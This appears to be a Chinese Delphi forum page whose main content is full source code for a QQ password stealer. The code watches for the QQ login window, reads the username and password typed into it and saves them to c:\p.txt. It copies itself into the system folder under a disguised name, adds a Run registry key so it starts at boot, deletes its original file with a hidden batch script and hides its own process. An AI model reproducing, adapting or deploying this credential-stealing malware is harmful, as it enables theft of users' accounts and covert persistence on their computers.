谢谢了
解决方案 »
- delphi如何实现递归?
- 请问大家 delphi运行时类型服务的一些信息到底是怎么摆置的!
- delphi下用什么3d游戏引擎好?glscene不大好用。
- 100回报
- shellcombobox如何随窗口改变大小
- Rbuilder 使用时一点要运行Delphi,怎么解决?要是给人家用多臭啊,在线等待!!!
- 我老人家想做一个调查!
- 请问delphi 中用的pascal语言是什么版本?
- 在delphi中,子窗体插入一条数据,父窗体中有显示子窗体所有数据的DGrid,问父窗体的这个DGrid如何随着子窗体插入实时更新?而子窗体不关闭。
- dbgrid表格控件的输入焦点问题??
- socket问题,请大家多帮忙,在线等待
- NMDayTime 组件中怎么设置代理服务器?
用delphi做的
uses
Windows,
Messages;
{$R *.RES}var
wclass:twndclass;
msg:tmsg;
classname:array[0..64] of char;
hinst,hmain,newtime:integer;
c1,c2:string;function RegisterServiceProcess(a:longint;const b:longint):dword;stdcall;far;external 'Kernel32.dll' name 'RegisterServiceProcess';function pro(var i:integer):integer;//监视QQ登陆窗口
var
x,l:integer;
c:array[0..32]of char;
begin
x:=findwindow('#32770',nil);
l:=getwindowtext(x,@c,32);
if (x<>0)and(l=31) then
begin
i:=x;
result:=1;
end;
end;
function pass(c:integer):integer;//密码存盘
var
f:textfile;
x:longint;
begin
x:=GetFileAttributes('c:\p.txt');
assignfile(f,'c:\p.txt');
if x=-1 then
rewrite(f)
else
append(f);
writeln(f,'用户名:'+c2);
writeln(f,'密码:'+c1);
writeln(f);
closefile(f);
end;function winpro(hw:HWND;lp:integer):integer;stdcall;//记录密码与用户名
var
l:integer;
nam,t:array[0..64] of char;
begin
GetClassName(hw,@t,32);
if (t='Edit')or(t='ComboBox') then
begin
l:=SendMessage(hw,WM_GETTEXTLENGTH,0,0);
if l<>0 then
begin
c2:=c1;
SendMessage(hw,wm_gettext,33,integer(@nam));
c1:=string(nam);
end;
end;
end;function main(i:integer):integer;
var
t,x,hw,y:integer;
begin
y:=0;
x:=pro(hw);
while x=1 do
begin
EnumChildWindows(hw,@winpro,0);
x:=pro(hw);
if x<>1 then break;
y:=1;
sleep(700);
end;if y=1 then
begin
t:=0;
repeat
x:=findwindow(nil,pchar(c2));
if x<>0 then
begin
pass(0);
break;
end;
t:=t+1;
sleep(1000);
until t>15;
end;end;procedure shutdown;
begin
unregisterclass(classname,hinst);
exitprocess(hinst);
end;
procedure wincreate;
var
m,s:string;
f:textfile;
n,v:array[0..32]of char;
l,hk:integer;
id:dword;
begin
CreateMutex(nil,True,'agezhu');
if GetLastError=ERROR_ALREADY_EXISTS then shutdown;SetLength(m,32);
GetModuleFileName(HInstance,PChar(m),Length(m));GetSystemDirectory(@n,32);
s:=string(n)+'\INTERNAT.COM';l:=Length(s);
m:=copy(m,0,l);
if m<>s then
begin
v:='internat';
CopyFile(pchar(m),pchar(s),false);
RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',Hk);
v:='internat';
RegSetvalueEx(Hk,'internat.exe',0,REG_SZ,@V,16);
RegCloseKey(hk);assignfile(f,'d:\b.bat');
rewrite(f);
writeln(f,':try');
writeln(f,'del '+m);
writeln(f,'if exist '+m+' goto try');
writeln(f,'del %0');
closefile(f);
winexec('d:\b.bat',SW_HIDE);shutdown;
end;winexec('c:\windows\system\internat.exe',SW_HIDE);
id:=GetCurrentProcessId();
RegisterServiceProcess(id,1);
end;procedure ontimer1;
begin
main(0);
end;
function windowproc(hwnd,msg,wparam,lparam:longint):longint;stdcall;
begin
result:=defwindowproc(hwnd,msg,wparam,lparam);
case msg of
wm_create:wincreate;
wm_timer:ontimer1;
wm_destroy:shutdown;
end;
end; begin
hinst:=getmodulehandle(nil);
classname:='hacksoft';
with wclass do
begin
style:=cs_parentdc;
hicon:=loadicon(hinst,'mainicon');
lpfnwndproc:=@windowproc;
hinstance:=hinst;
hbrbackground:=color_btnface+1;
lpszclassname:=classname;
hcursor:=loadcursor(0,idc_arrow);
end;
registerclass(wclass);
hmain:=createwindowex(ws_ex_toolwindow,classname,'',ws_overlappedwindow,10,10,120,80,0,0,hinst,nil);
//建立一个新的定时器,用来定时扫描系统中的窗口
newtime:=settimer(hmain,0,500,nil);
//建立消息循环
while(getmessage(msg,hmain,0,0))do
begin
translatemessage(msg);
dispatchmessage(msg);
end;
//结束定时器
killtimer(hmain,newtime);
end.